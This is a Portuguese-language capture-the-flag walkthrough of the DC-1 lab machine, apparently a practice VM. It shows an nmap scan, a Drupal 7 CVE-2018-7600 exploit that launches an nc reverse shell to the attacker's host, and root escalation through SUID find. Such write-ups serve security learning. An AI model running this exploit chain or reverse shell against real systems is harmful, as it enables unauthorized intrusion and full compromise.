DC-1

IP da máquina: 192.168.2.117 // MAC: 08:00:27:AA:94:9F

Resultados do nmap:

nmap -A -p- 192.168.2.117

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
|   1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
|   2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_  256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Welcome to Drupal Site | Drupal Site
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          39108/tcp   status
|   100024  1          52809/udp   status
|   100024  1          53640/udp6  status
|_  100024  1          60704/tcp6  status
39108/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:AA:94:9F (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X
```

Abrindo escuta com o nc:

```
root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
```

Script:

https://github.com/Jack-Barradell/exploits/blob/master/CVE-2018-7600/cve-2018-7600-drupal7.py

python3 script.py -t 192.168.2.117 -c "nc 192.168.2.110 4444 -e /bin/bash"

```
root@kali:~# nano script.py
root@kali:~# python3 script.py -t 192.168.2.117 -c "nc 192.168.2.110 4444 -e /bin/bash"
[+] Sending command exploit
[+] Prepping trigger
[+] Sending trigger
```

Conexão realizada:

```
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@DC-1:/var/www$

www-data@DC-1:/var/www$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@DC-1:/var/www$ uname -a
uname -a
Linux DC-1 3.2.0-4-486 #1 Debian 3.2.96-2 i686 GNU/Linux
```

find / -perm -u=s -type f 2>/dev/null

```
www-data@DC-1:/var/www$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
```

find superuser -exec "whoami" \;

find superuser -exec "/bin/sh" \;

```
www-data@DC-1:/var/www$ cd /tmp
cd /tmp
www-data@DC-1:/tmp$ touch superuser
touch superuser
www-data@DC-1:/tmp$ find superuser -exec "whoami" \;
find superuser -exec "whoami" \;
root
www-data@DC-1:/tmp$ find superuser -exec "/bin/sh" \;
find superuser -exec "/bin/sh" \;
```

Root:

```
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# uname -a
uname -a
Linux DC-1 3.2.0-4-486 #1 Debian 3.2.96-2 i686 GNU/Linux
```